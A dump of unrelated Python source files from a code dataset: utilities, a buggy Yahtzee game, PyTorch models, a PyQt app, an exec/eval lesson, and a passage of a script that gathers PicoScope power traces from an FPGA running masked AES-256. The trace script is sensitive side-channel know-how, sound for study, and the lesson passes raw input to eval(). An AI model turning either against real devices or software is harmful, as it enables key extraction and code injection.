**apars}\n self.kwstr = ', '.join([f\"{k}={v}\" for k, v in self.rule.items()])\n\n def __repr__(self):\n return f\"{self.__class__.__name__}({self.kwstr})\"\n\n def __str__(self):\n return str(self.rule)\n\n def __iter__(self):\n return iter(self.rule.items())\n\n def add(self, addfunc):\n for chan in self.chan:\n for par1 in self.par1:\n addfunc(self.type, chan, par1, self.par2, **self.apars)\n\n @classmethod\n def from_yaml(cls, loader, node):\n return cls(**loader.construct_mapping(node))\n\n @staticmethod\n def to_yaml(dumper, data):\n return dumper.represent_mapping('!rrule', data, flow_style=True)\n\n\nhandlers = dict(Loader=oyaml.SafeLoader, Dumper=oyaml.SafeDumper)\noyaml.add_implicit_resolver('!sfpreset', sfp, **handlers)\noyaml.add_implicit_resolver('!midimsg', msg, **handlers)\noyaml.add_implicit_resolver('!syxmsg', syx, **handlers)\noyaml.add_implicit_resolver('!rspec', rte, **handlers)\noyaml.add_implicit_resolver('!ftspec', ft1, **handlers)\noyaml.add_implicit_resolver('!ftspec', ft2, **handlers)\noyaml.add_implicit_resolver('!ftspec', ft3, **handlers)\nseqnode = oyaml.SequenceNode\nmapnode = oyaml.MappingNode\noyaml.add_path_resolver('!rrule', [(mapnode, 'router_rules'), (seqnode, None)], dict, **handlers)\noyaml.add_path_resolver('!rrule', [(mapnode, 'patches'), (mapnode, None), (mapnode, 'router_rules'), (seqnode, None)], dict, **handlers)\n","sub_path":"patcher/fpyaml.py","file_name":"fpyaml.py","file_ext":"py","file_size_in_byte":9276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"501234649","text":"# @Email: jmaggio14@gmail.com\n# @Website: https://www.imagepypelines.org/\n# @License: https://github.com/jmaggio14/imagepypelines/blob/master/LICENSE\n# @github: https://github.com/jmaggio14/imagepypelines\n#\n# Copyright (c) 2018 Jeff Maggio, Nathan Dileas, Ryan Hartzell\ndef centroid(img):\n \"\"\"finds the centroid of the given image img\n\n Args:\n img (np.ndarray):\n input img to find the centroid of\n Returns:\n tuple: centroid of the input image (height,width)\n\n Example:\n >>> import imagepypelines as ip\n >>> lenna_centroid = centroid( ip.lenna() )\n \"\"\"\n centroid = img.shape[0]//2, img.shape[1]//2\n return centroid\n\n\ndef frame_size(img):\n \"\"\"return the height and width of a given img\n\n Args:\n img (np.ndarray): input img to find frame_size of\n\n Returns:\n tuple: frame_size, height and width of the input img\n\n Example:\n >>> import imagepypelines as ip\n >>> lenna_framesize = frame_size( ip.lenna() )\n \"\"\"\n frame_size = img.shape[0], img.shape[1]\n return frame_size\n\n\ndef dimensions(img, return_as_dict=False):\n \"\"\"\n function which returns the dimensions and data_type of a given image\n\n Args:\n img (np.ndarray): input image\n return_as_dict (bool): whether or not to return a dictionary.\n Default is False\n\n Returns:\n tuple: dimensions of the form (rows, cols, bands, dtype)\n\n Example:\n >>> import imagepypelines as ip\n >>> dims = dimensions( ip.lenna() )\n \"\"\"\n rows = img.shape[0]\n cols = img.shape[1]\n if img.ndim == 3:\n bands = img.shape[2]\n else:\n bands = 1\n dims = (rows, cols, bands, img.dtype)\n\n if return_as_dict:\n dims = dict(zip(('rows','cols','bands','dtype'), dims))\n\n return dims\n\n\n# END\n","sub_path":"imagepypelines/core/coordinates.py","file_name":"coordinates.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"632321404","text":"import random\nscore = 999\ncost = 10\nscorew = 1000\nprint ('score: ' , score , 'points' , '\\n Cost to play = ', cost , ' points\\n' , 'Score to win: ' , scorew)\ndef YAHTZEE():\n keepPlaying = True\n while keepPlaying:\n Play = input('Please enter \"y\" if you want to play a round of the dice game or \"q\" if you want to quit game\\n If you want to restart then enter \"r\": ')\n print(' ')\n if Play != 'r':\n if Play == 'y':\n score-=cost\n if score < 0:\n print('insufficient score \\n YOU LOSE!!!')\n break\n elif score >= scorew:\n print(scorew, 'points! \\n YOU WIN!!!')\n continue\n print('score: ' , score , 'points')\n dice = [0,0,0,0,0]\n for i in range(0,len(dice)):\n dice[i] = random.randint(1,6)\n print('\\n roll 1' , dice , '\\n')\n triesleft = 2\n rnum = 2\n while triesleft > 0:\n use = int(input('How many dice do you want to re-roll?'))\n user = input('PLease choose the dice numbers you wish to re-roll:\\n ')\n if use == 1:\n a = int(user)\n dice[a-1] = random.randint(1,6)\n elif use == 2:\n a,b = user.split (\" \")\n for i in (int(a)-1,int(b)-1):\n dice[i] = random.randint(1,6)\n elif use == 3:\n a,b,c = user.split (\" \")\n for i in (int(a)-1,int(b)-1,int(c)-1):\n dice[i] = random.randint(1,6)\n elif use == 4:\n a,b,c,d = user.split (\" \")\n for i in (int(a)-1,int(b)-1,int(c)-1,int(d)-1):\n dice[i] = random.randint(1,6)\n elif use == 5:\n a,b,c,d,e = user.split (\" \")\n for i in (int(a)-1,int(b)-1,int(c)-1,int(d)-1,int(e)-1):\n dice[i] = random.randint(1,6)\n elif use == 0:\n break\n else:\n print('Sorry, input not recognized')\n break\n print ('\\n roll',rnum , dice , '\\n')\n triesleft = triesleft -1\n rnum = rnum+1\n final = []\n final.sort(reverse=True)\n for i in dice:\n final.append (dice.count(i))\n if final[0] == 5:\n score+=30\n print ('YAHTZEE! +30 points\\n' , 'score: ' , score , 'points')\n elif final[0] == 4:\n score+=20\n print ('Four of a kind! +20 points\\n' , 'score: ' , score , 'points')\n elif final.count(3) == 3 and final.count(2) == 2:\n score+=15\n print ('Full House! +15 points\\n' , 'score: ' , score , 'points')\n elif final[0] == 3:\n score+=10\n print ('Three of a kind! +10 points\\n' , 'score: ' , score , 'points')\n elif final.count(2) == 4:\n score+=5\n print ('Two Pairs. +5 points\\n' , 'score: ' , score , 'points')\n elif sum(final) == 5:\n score+=20\n print ('Straight! +20 points\\n' , 'score: ' , score , 'points')\n else:\n print(score)\n print('Sorry... you got nothing')\n else:\n keepPlaying = False\n elif Play == 'r':\n break\n else:\n break\n else:\n keepPlaying = False\n YAHTZEE()\nYAHTZEE()\n","sub_path":"Nooblet/Introduction to OOP/HW2.py","file_name":"HW2.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"184585277","text":"from .exceptions import ApiError\n\n# -----------------------------------------------------------------------------\n\n\nclass Related(object):\n def __init__(self, **kwargs):\n self._view_classes = kwargs\n\n def __call__(self, data, view):\n for field_name, view_class in self._view_classes.items():\n many = view.deserializer.fields[field_name].many\n self.resolve_nested(data, field_name, view_class, many=many)\n\n return data\n\n def resolve_nested(self, data, field_name, view_class, many=False):\n try:\n nested_data = data[field_name]\n except KeyError:\n # If this field were required, the deserializer already would have\n # raised an exception.\n return\n\n try:\n if many:\n if not nested_data:\n resolved = []\n else:\n view = view_class()\n resolved = [\n view.resolve_related_item(nested_datum)\n for nested_datum in nested_data\n ]\n else:\n resolved = view_class().resolve_related_item(nested_data)\n except ApiError as e:\n pointer = '/data/{}'.format(field_name)\n raise e.update({'source': {'pointer': pointer}})\n\n data[field_name] = resolved\n","sub_path":"flask_resty/related.py","file_name":"related.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"575359852","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport dtcwt\nfrom pytorch_wavelets import DWT1DForward\n\nimport pdb\n\n\ndef logsumexp_2d(tensor):\n tensor_flatten = tensor.view(tensor.size(0), tensor.size(1), -1)\n s, _ = torch.max(tensor_flatten, dim=2, keepdim=True)\n outputs = s + (tensor_flatten - s).exp().sum(dim=2, keepdim=True).log()\n return outputs\n\nclass Flatten(nn.Module):\n def forward(self, x):\n return x.view(x.size(0), -1)\n\nclass ChannelGate(nn.Module):\n def __init__(self, gate_channels, reduction_ratio=16, pool_types=['avg', 'max']):\n super(ChannelGate, self).__init__()\n self.gate_channels = gate_channels\n self.mlp = nn.Sequential(\n Flatten(),\n nn.Linear(gate_channels, gate_channels // reduction_ratio),\n nn.ReLU(),\n nn.Linear(gate_channels // reduction_ratio, gate_channels)\n )\n self.pool_types = pool_types\n def forward(self, x, is_target=False): # x.shape -> [64, 64, 300]\n channel_att_sum = None\n for pool_type in self.pool_types:\n if pool_type=='avg':\n avg_pool = F.avg_pool1d(x, kernel_size=x.size(2), stride=x.size(2))\n channel_att_raw = self.mlp(avg_pool)\n elif pool_type=='max':\n max_pool = F.max_pool1d(x, kernel_size=x.size(2), stride=x.size(2))\n channel_att_raw = self.mlp(max_pool)\n if channel_att_sum is None:\n channel_att_sum = channel_att_raw\n else:\n channel_att_sum = channel_att_sum + channel_att_raw\n scale = F.sigmoid(channel_att_sum).unsqueeze(2).expand_as(x) # channel_att_sum.shape -> [64, 64]\n if is_target:\n scale = torch.ones_like(scale).cuda() - scale\n return x * scale\n\nclass BasicConv(nn.Module):\n def __init__(self, in_planes, out_planes, kernel_size, stride=1, padding=0, dilation=1, groups=1, relu=True, bn=True, bias=False):\n super(BasicConv, self).__init__()\n self.out_channels = out_planes\n self.conv = nn.Conv1d(in_planes, out_planes, kernel_size=kernel_size, stride=stride, padding=padding, dilation=dilation, groups=groups, bias=bias)\n self.bn = nn.BatchNorm1d(out_planes,eps=1e-5, momentum=0.01, affine=True) if bn else None\n self.relu = nn.ReLU() if relu else None\n def forward(self, x):\n x = self.conv(x)\n if self.bn is not None:\n x = self.bn(x)\n if self.relu is not None:\n x = self.relu(x)\n return x\n\nclass ChannelPool(nn.Module):\n def forward(self, x):\n return torch.cat((torch.max(x,1)[0].unsqueeze(1), torch.mean(x,1).unsqueeze(1), torch.std(x,1).unsqueeze(1)), dim=1)\n # return torch.cat((torch.max(x, 1)[0].unsqueeze(1), torch.mean(x, 1).unsqueeze(1)), dim=1)\n\nclass SpatialGate(nn.Module):\n def __init__(self):\n super(SpatialGate, self).__init__()\n kernel_size = 3\n self.compress = ChannelPool()\n self.spatial = BasicConv(3, 1, kernel_size, stride=1, padding=(kernel_size-1) // 2, relu=False)\n\n def sigmoid(self, x):\n return 1./(1.+torch.exp(-x))\n\n def forward(self, x, is_target=False):\n x_compress = self.compress(x)\n x_out = self.spatial(x_compress)\n scale = self.sigmoid(x_out) # broadcasting\n if is_target:\n scale = torch.ones_like(scale).cuda() - scale\n return x_compress * scale\n\n\nclass Feature(nn.Module):\n def __init__(self):\n super(Feature, self).__init__()\n self.conv_freq_1 = nn.Conv1d(1, 32, kernel_size=4, stride=1, padding=1)\n self.conv_freq_2 = nn.Conv1d(1, 64, kernel_size=5, stride=1, padding=2)\n self.conv_freq_3 = nn.Conv1d(1, 64, kernel_size=5, stride=1, padding=2)\n\n self.conv_time_1 = nn.Conv1d(1, 32, kernel_size=4, stride=1, padding=1)\n self.bn1 = nn.BatchNorm1d(32)\n\n self.conv_time_2 = nn.Conv1d(32, 64, kernel_size=4, stride=1, padding=2)\n self.bn2 = nn.BatchNorm1d(64)\n\n self.conv_time_3 = nn.Conv1d(32, 64, kernel_size=5, stride=1, padding=2)\n self.bn3 = nn.BatchNorm1d(64)\n\n self.maxpool = nn.MaxPool1d(stride=2, kernel_size=2) # max is better than average\n self.avgpool = nn.AvgPool1d(stride=2, kernel_size=2)\n self.relu = nn.ReLU()\n\n self.channel_1 = ChannelGate(32, pool_types=['avg', 'max'])\n self.SpatialGate = SpatialGate()\n\n self.transform = DWT1DForward(wave='haar', J=3).cuda()\n self.channel_1 = ChannelGate(32, pool_types=['avg','max'])\n # self.channel_2 = ChannelGate(64, pool_types=['avg', 'max'])\n\n def forward(self, x, is_target=False):\n x_0 = x\n # db: zh[0] -> 64,1,605 haar: 600\n # zh[1] -> 64,1,308 300\n # zh[2] -> 64,1,159 150\n zl, zh = self.transform(x)\n z1 = self.conv_freq_1(zh[0]) # 64, 16, 600\n z2 = self.conv_freq_2(zh[1]) # 64, 32, 300\n # z3 = self.conv_freq_3(zh[2]) # 64, 64, 150\n\n x = self.maxpool(self.relu(self.bn1(self.conv_time_1(x_0))))+z1\n x = self.maxpool(self.relu(self.bn2(self.conv_time_2(x))))+z2\n # x = self.maxpool(self.relu(self.bn3(self.conv_time_3(x)))) + z3\n\n # x = self.SpatialGate(x)\n\n return x\n\nclass Predictor(nn.Module):\n def __init__(self, prob=0.5):\n super(Predictor, self).__init__()\n self.fc1 = nn.Linear(64*300, 1000)\n self.bn1_fc = nn.BatchNorm1d(1000)\n self.fc3 = nn.Linear(1000, 3)\n self.bn_fc3 = nn.BatchNorm1d(3)\n self.relu = nn.ReLU()\n self.prob = prob\n\n def set_lambda(self, lambd):\n self.lambd = lambd\n\n def forward(self, x, reverse=False):\n x = x.view(x.size(0), 64*300)\n x = F.dropout(x, training=self.training, p=self.prob)\n x = self.relu(self.bn1_fc(self.fc1(x)))\n x = self.fc3(x)\n return x\n","sub_path":"model/CWRU.py","file_name":"CWRU.py","file_ext":"py","file_size_in_byte":5915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"590031291","text":"var_x = 10\n\nsource = '''\nnew_var = 1\nfor i in range(var_x):\n print('-'*i)\n new_var += 1\n'''\n\nresult = exec(source)\nprint(result)\n\nprint(var_x)\nprint(new_var)\n\nsource = input(\"Enter your expression: \")\nprint(eval(source))","sub_path":"LVL 2/SEKCJA 3/39. Funkcja exec.py","file_name":"39. Funkcja exec.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"265097493","text":"from core import utils\n\nurls_template = [\n ('test', False),\n ('https://test.zp.com', True),\n ('https://stackoverflow.com/questions/41124591/setting-up-periodic'\n '-tasks-in-celery-celerybeat-dynamically-using-add-periodic', True),\n ('https://web.skype.com/ru/?intsrc=client-_-webapp-_-production-_-go-signin', True),\n ('http:test.example.com', False),\n ('https//some.url.com', False),\n ('hTtPS://test.some.url', False),\n ('www.test.com.ua', False),\n ('https://www.google.com.ua/search?q=celerybeat-schedule+file&oq='\n 'celerybeat+file&aqs=chrome.1.69i57j0l3.4701j0j7&sourceid=chrome&ie=UTF-8', True)\n]\n\n\nurls = (\n (\n 'https://www.facebook.com/',\n dict(url='https://www.facebook.com/', status=200, failed_requests=0)\n ),\n (\n 'https://test.zp.com',\n dict(url='https://test.zp.com', status=None, failed_requests=1)\n )\n)\n\n\ndef test_check_url():\n for url_pair in urls_template:\n url, answer = url_pair\n assert utils.check_url(url) is answer\n\n\ndef test_initial_request():\n for pair in urls:\n url, answer = pair\n assert utils.initial_request(url) == answer\n","sub_path":"tests/core/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"130822446","text":"import sys\n\nfrom Project.WinUI.Controller import Files\nfrom Project.WinUI.WindowUI import Ui_MainWindow\nfrom PyQt5.QtWidgets import QMainWindow, QApplication\nfrom PyQt5 import QtWidgets, QtCore, QtGui\nimport matplotlib.pyplot as plt\n\n\nclass MyWindow(QMainWindow, Ui_MainWindow):\n def __init__(self, parent=None):\n super(MyWindow, self).__init__(parent)\n self.setupUi(self)\n self.controller = Files()\n self.detail_items = [\"主要泳姿\", \"总时间\", \"游泳距离\", \"划臂次数\", \"单次划臂时间\", \"平均配速\", \"最大配速\", \"平均频率\", \"最大频率\"]\n self.summary_time.setDisplayFormat(\"HH:mm:ss\")\n self.tableView_detail.setGeometry(QtCore.QRect(360, 20, 240, 300))\n\n self.refresh_list_swim_view()\n self.refresh_frame_sum()\n\n self.listView_swims.clicked.connect(self.refresh)\n self.bt_summary.clicked.connect(self.change_to_summary)\n self.bt_detail.clicked.connect(self.change_to_detail)\n self.bt_quit.clicked.connect(QtWidgets.qApp.quit)\n\n def retranslateUi(self, MainWindow):\n Ui_MainWindow.retranslateUi(self, MainWindow)\n self.tableView_detail.close()\n\n def refresh_list_swim_view(self):\n list_model = QtCore.QStringListModel(self.controller.swim_file_list)\n self.listView_swims.setModel(list_model)\n\n def change_to_summary(self):\n self.tableView_detail.close()\n self.frame_sum.show()\n self.refresh_frame_sum()\n\n def change_to_detail(self):\n self.frame_sum.close()\n self.tableView_detail.show()\n self.refresh_table_view()\n\n def refresh(self):\n self.refresh_frame_sum()\n self.refresh_table_view()\n\n def refresh_table_view(self):\n pos = self.listView_swims.currentIndex()\n self.detail_model = QtGui.QStandardItemModel(5, 2)\n self.detail_model.setHorizontalHeaderLabels([\"类别\", \"数据\"])\n for j in range(9):\n self.detail_model.setItem(j, 0, QtGui.QStandardItem(self.detail_items[j]))\n self.detail_model.setItem(0, 1, QtGui.QStandardItem(self.controller.swim_list[pos.row()].name))\n self.detail_model.setItem(1, 1, QtGui.QStandardItem(\n str(round(self.controller.swim_list[pos.row()].all_time // 1000, 2)) + \"s\"))\n self.detail_model.setItem(2, 1, QtGui.QStandardItem(str(self.controller.swim_list[pos.row()].pool)))\n self.detail_model.setItem(3, 1, QtGui.QStandardItem(str(self.controller.swim_list[pos.row()].number)))\n self.detail_model.setItem(4, 1,\n QtGui.QStandardItem(\n str(round(self.controller.swim_list[pos.row()].once_time / 1000, 3)) + \" s\"))\n self.detail_model.setItem(5, 1,\n QtGui.QStandardItem(\n str(round(self.controller.swim_list[pos.row()].averagepace, 2)) + \" s/100m\"))\n self.detail_model.setItem(6, 1,\n QtGui.QStandardItem(\n str(round(self.controller.swim_list[pos.row()].maxpace, 2)) + \" s/100m\"))\n self.detail_model.setItem(7, 1,\n QtGui.QStandardItem(\n str(round(self.controller.swim_list[pos.row()].averagerate, 2)) + \" times/10s\"))\n self.detail_model.setItem(8, 1,\n QtGui.QStandardItem(\n str(round(self.controller.swim_list[pos.row()].maxrate, 2)) + \" times/10s\"))\n self.tableView_detail.setModel(self.detail_model)\n\n def refresh_frame_sum(self):\n pos = self.listView_swims.currentIndex()\n self.text_main_swim.setText(self.controller.swim_list[pos.row()].name)\n hour = self.controller.swim_list[pos.row()].all_time // 1000 // 60 // 60\n minute = self.controller.swim_list[pos.row()].all_time // 1000 // 60 % 60\n sec = self.controller.swim_list[pos.row()].all_time // 1000 % 60\n self.summary_time.setTime(QtCore.QTime(hour, minute, sec))\n self.label_calorie_num.setText(str(round(self.controller.swim_list[pos.row()].all_time / 1000 * 0.8, 2)) + \"千卡\")\n try:\n self.label_average_speed_num.setText(str(round(self.controller.swim_list[pos.row()].duration * 100 / (\n self.controller.swim_list[pos.row()].number * self.controller.swim_list[pos.row()].arm_stroke), 2)))\n except Exception:\n self.label_average_speed_num.setText(\"NAN\")\n\n x = [str(i * 10) + \"\" for i in range(len(self.controller.swim_list[pos.row()].avgepace))]\n plt.subplot(211)\n plt.plot(x, self.controller.swim_list[pos.row()].avgepace)\n plt.title(\"平均配速\", fontproperties=\"SimHei\")\n plt.subplots_adjust(hspace=0.5)\n x = [str(i * 10) + \"\" for i in range(len(self.controller.swim_list[pos.row()].avgerate))]\n plt.subplot(212)\n plt.plot(x, self.controller.swim_list[pos.row()].avgerate)\n plt.title(\"平均频率\", fontproperties=\"SimHei\")\n plt.savefig(\"mat\", dpi=1000)\n plt.clf()\n self.pixmap = QtGui.QPixmap(\"mat.png\")\n self.label_main_image.setPixmap(self.pixmap)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n myWin = MyWindow()\n myWin.show()\n sys.exit(app.exec_())\n","sub_path":"Project/WinUI/starter.py","file_name":"starter.py","file_ext":"py","file_size_in_byte":5364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"167515419","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom load_data import load_data\nfrom model1 import FullyConnectedNetwork\nfrom model2 import FCNetworkMiniBatch\nfrom cnn_keras import CnnKeras\n\ndef plot():\n rates = [0.001]\n num_epoch = 201\n batch_size = 100\n steps = 3001\n for rate in rates:\n # fnc = FCNetworkMiniBatch(num_epoch=num_epoch, batch_size=batch_size,\n # learning_rate=rate)\n fnc = FullyConnectedNetwork(num_steps=steps, learning_rate=rate)\n with np.load('eval_%s.npz' % fnc.param_str()) as npz:\n plt.plot(npz['valid_accuracy'], label=rate.__str__())\n plt.legend(list(map(lambda x: x.__str__(), rates)), loc='lower right')\n plt.xlabel('epoch')\n plt.ylabel('validation accuracy')\n plt.title('learning curve')\n plt.show()\n\ndef plot_mini_batch():\n rate = 0.001\n num_epoch = 301\n batch_sizes = [100, 500, 1000, 1500, 2000]\n # steps = 30001\n for batch_size in batch_sizes:\n fnc = FCNetworkMiniBatch(num_epoch=num_epoch, batch_size=batch_size,\n learning_rate=rate)\n with np.load('mini/eval_%s.npz' % fnc.param_str()) as npz:\n plt.plot(npz['valid_accuracy'], label=batch_size.__str__())\n plt.legend(list(map(lambda x: x.__str__(), batch_sizes)), loc='lower right')\n plt.xlabel('epoch')\n plt.ylabel('validation accuracy')\n plt.title('learning curve')\n plt.show()\n\ndef collect_data():\n # rates = [0.005, 0.001, 0.0005]\n rates = [0.5]\n num_epoch = 501\n batch_sizes = [100, 2000]\n steps = 501\n # for rate in rates:\n # fnc = FullyConnectedNetwork(num_steps=steps, learning_rate=rate)\n # train_loss, train_accuracy, valid_loss, valid_accuracy = fnc.learn()\n # np.savez('eval_%s.npz' % fnc.param_str(),\n # train_loss=train_loss, train_accuracy=train_accuracy,\n # valid_loss=valid_loss, valid_accuracy=valid_accuracy)\n for batch_size in batch_sizes:\n rate = 0.001\n fnc = FCNetworkMiniBatch(num_epoch=num_epoch, batch_size=batch_size,\n learning_rate=rate)\n train_loss, train_accuracy, valid_loss, valid_accuracy = fnc.learn()\n np.savez('mini/eval_%s.npz' % fnc.param_str(),\n train_loss=train_loss, train_accuracy=train_accuracy,\n valid_loss=valid_loss, valid_accuracy=valid_accuracy)\n\ndef collect_cnn_data():\n rate = 0.001\n num_epoch=1000\n batch_size=200\n\n train, test = load_data()\n X_train = np.reshape(train[0], [-1, 28, 28, 1])\n test = np.reshape(test, [-1, 28, 28, 1])\n\n cnn = CnnKeras((X_train, train[1]), test, num_epoch=num_epoch,\n batch_size=batch_size, learning_rate=rate)\n history = cnn.learn()\n cnn.save_weights()\n np.savez('cnn/eval_cnn_%s.npz' % cnn.param_str(),\n train_loss=history.losses, train_accuracy=history.accs,\n valid_loss=history.val_losses, valid_accuracy=history.val_accs)\n predictions = cnn.predict()\n\n predictions = np.argmax(predictions, axis=1)\n indexed = np.hstack([np.arange(1, len(predictions)+1)[:, None],\n predictions[:, None]])\n np.savetxt('cnn/predictions_%s.csv' % cnn.param_str(),\n indexed, fmt='%d', header='ImageId,Label', delimiter=',',\n comments='')\n\npredict = collect_cnn_data()\n","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"433178398","text":"#\n# (c) 2017 elias/vanissoft\n#\n#\n#\n\nfrom browser import window, document\n\njq = window.jQuery\nModule_name = \"general\"\nWs_comm = None\n\nData = None\n\nclass datastore():\n\tdef __init__(self):\n\t\tself.data = {}\n\nData = datastore()\n\n\ndef message(dat):\n\tprint(\"message:\", dat)\n\tif 'error' in dat and dat['error']:\n\t\twindow.toastr.error(dat['message'], None,\n\t\t\t{\"debug\": 0, \"newestOnTop\": 1, \"positionClass\": \"toast-top-right\", \"closeButton\": 1, \"progressBar\": True})\n\telse:\n\t\twindow.toastr.info(dat['message'], None,\n\t\t\t{\"debug\": 0, \"newestOnTop\": 1, \"positionClass\": \"toast-top-right\", \"closeButton\": 1, \"progressBar\": True})\n\n\ndef incoming_data(data):\n\tprint(\"> general\", data)\n\tif 'master_unlock' in data:\n\t\tjq(\"#unlock_status\").removeClass(\"pe-7s-lock\")\n\t\tif not data['master_unlock']['error']:\n\t\t\tjq(\"#modal_master_password\").modal(\"hide\")\n\t\t\tdocument['MPerror'].innerHTML = \"\"\n\t\t\tjq(\"#unlock_status\").addClass(\"pe-7s-unlock\")\n\t\t\tData.data['master_unlocked'] = True\n\t\telse:\n\t\t\tdocument['MPerror'].innerHTML = data['master_unlock']['message']\n\t\t\tjq(\"#unlock_status\").addClass(\"pe-7s-lock\")\n\t\t\tData.data['master_unlocked'] = True\n\n\n","sub_path":"app/wmodgeneral.py","file_name":"wmodgeneral.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"408547062","text":"from sys import maxsize\nN = int(input())\narms = []\nfor i in range(N):\n x, l = map(int, input().split())\n arms.append((x-l, x+l))\n\narms.sort(key=lambda x: x[1])\n\nend = -maxsize\n\nres = 0\n\nfor arm in arms:\n if end <= arm[0]:\n res += 1\n end = arm[1]\nprint(res)\n","sub_path":"robot_arms.py","file_name":"robot_arms.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"343601602","text":"# coding: utf-8\n\nimport time\nimport numpy as np\nimport subprocess\nimport PicoScope5244D as ps\nfrom subprocess import Popen, PIPE\nimport sys\nimport matplotlib.pyplot as plt\nimport ftd2xx\nimport pyvisa\nimport codecs\n\n#################################################################################\n############# Connect to FT2232H and Configure it to 245 Sync Fifo ##############\n#################################################################################\nd = ftd2xx.listDevices()\nh = ftd2xx.openEx(d[0])\nh.setBitMode(0xFF, 0x00) \t\t\t\t# reset mode\ntime.sleep(0.01)\nh.setBitMode(0xFF, 0x40)\t\t\t\t# 245 fifo mode\nh.setLatencyTimer(2)\n# h.setUSBParameters(0x10000,0x10000)\nh.setFlowControl(0x0100, 0x0, 0x0)\t\t# Avoid packet losses\nh.setTimeouts(200,200)\t\t\t\t\t# set RX/TX timeouts\nh.purge(1)\t\t\t\t\t\t\t\t#Purge RX Buffer\nh.purge(2)\nprint(\"FT223H configured\")\n\n\n#################################################################################\n############################ Configuration Picoscope ############################\n#################################################################################\n\npico = ps.PicoScope()\npico.setResolution(resolution='12bit')\npico.setChannel(channel='A',coupling_type='AC',voltage_range='200mV',probe=1) # Mesures\n#pico.setChannel(channel='B',coupling_type='DC',voltage_range='500mV',probe=1) # Trigger\npico.disableChannel(channel='B')\n\npico.setSimpleTrigger(channel='ext',threshold_mV=40,direction='rising',delay_samples=300,timeout_ms=3000) #300\npico.setSamplingParameters(preTrigger_ns=0,postTrigger_ns=2300,timebase=1) #800\nprint(\"Picoscope configured\")\nprint(pico.getSamplingParameters())\n\n#################################################################################\n################################ Load info files ################################\n#################################################################################\n\n# To know the file's name ('Nth_measurement') to collect traces\nwith open('../../Data/AES_256/FileForName.txt') as f:\n Nth_measurement = f.readlines();\n Nth_measurement = [x.strip() for x in Nth_measurement] # remove \\n at the end\n Nth_measurement = Nth_measurement[0]\n\n# To know the number of traces ('n_traces')\nwith open('../../Data/AES_256/Measurement_'+str(Nth_measurement)+'\\pt_fpga.txt') as f:\n plaintexts = f.readlines()\n plaintexts = [x.strip() for x in plaintexts] # remove \\n at the end\n nb_plaintexts = len(plaintexts)\n n_traces = nb_plaintexts\n\n# Functions to code and decode hex\nencode_hex = codecs.getencoder(\"hex_codec\")\ndecode_hex = codecs.getdecoder(\"hex_codec\")\n\n############# AES 256 INPUTS ###############\n############### Import key ##################\nwith open('../../Data/AES_256/Measurement_'+str(Nth_measurement)+'\\keys_unique.txt') as f:\n key_hex = f.readlines()\nkey_header_hex_msb = '00' + key_hex[0][0:32]\nkey_header_hex_lsb ='01' + key_hex[0][32:64]\nkey_string = decode_hex(key_header_hex_msb)[0] + decode_hex(key_header_hex_lsb)[0]\n# key_string représente la clé en hexa.\n# key_string commence par 00 pour 16 premiers bytes\n# key_string commence par 01 pour 16 derniers bytes\n\n############### Import mask ##################\nwith open('../../Data/AES_256/Measurement_'+str(Nth_measurement)+'\\masks_unique.txt') as f:\n mask_hex = f.readlines()\nmask_header_hex_msb = '02' + mask_hex[0][0:32]\nmask_header_hex_lsb ='03' + mask_hex[0][32:64]\nmask_string = decode_hex(mask_header_hex_msb)[0] + decode_hex(mask_header_hex_lsb)[0]\n\n################ Import plaintexts #################\nwith open('../../Data/AES_256/Measurement_'+str(Nth_measurement)+'\\pt_fpga.txt') as f:\n plaintexts = f.readlines()\nplaintexts = [x.strip() for x in plaintexts] # remove \\n at the end\nnb_plaintexts = len(plaintexts)\nn_traces = nb_plaintexts\n\npt_string = ['']*nb_plaintexts\ni=0\nfor x in plaintexts:\n pt_string[i] = decode_hex(x)[0]\n i = i + 1\n# pt_string représente les pltxts en hexa.\n# pt_string commence par 03 pour être reconnu comme pltxt.\n\n\n#################################################################################\n################################ Collect traces #################################\n#################################################################################\n\nprint(\"Send first mask \", mask_string, \" : \", h.write(mask_string))\nprint(\"Send first key \", key_string, \" : \", h.write(key_string))\nprint(\"Send first pltxt \", pt_string[0], \" : \", h.write(pt_string[0]))\nprint(\"First result : \", encode_hex(h.read(16))[0].decode('utf-8'))\nh.write(mask_string)\nh.write(key_string)\nh.write(pt_string[0])\nencode_hex(h.read(16))[0].decode('utf-8')\n\nciphertext = ['']*n_traces\ntrace_A = ['']*n_traces\npico.run()\ni=0\nprint(\"Starting...\")\nwhile i < n_traces:\n\n # Delay to stabilize the channels\n if i==0:\n print('Waiting stabilization of picoscope...')\n time.sleep(10)\n\n # Send and retrieve data\n h.write(pt_string[i])\n ciphertext[i] = encode_hex(h.read(16))[0].decode('utf-8')\n pico.waitForTrigger()\n trace_A[i] = pico.getChannelValues('A')\n\n # Save info of time\n if i == 1:\n samplingParameters = pico.getSamplingParameters()\n noSamples = samplingParameters['noSamples']\n samplingPeriod_ns = 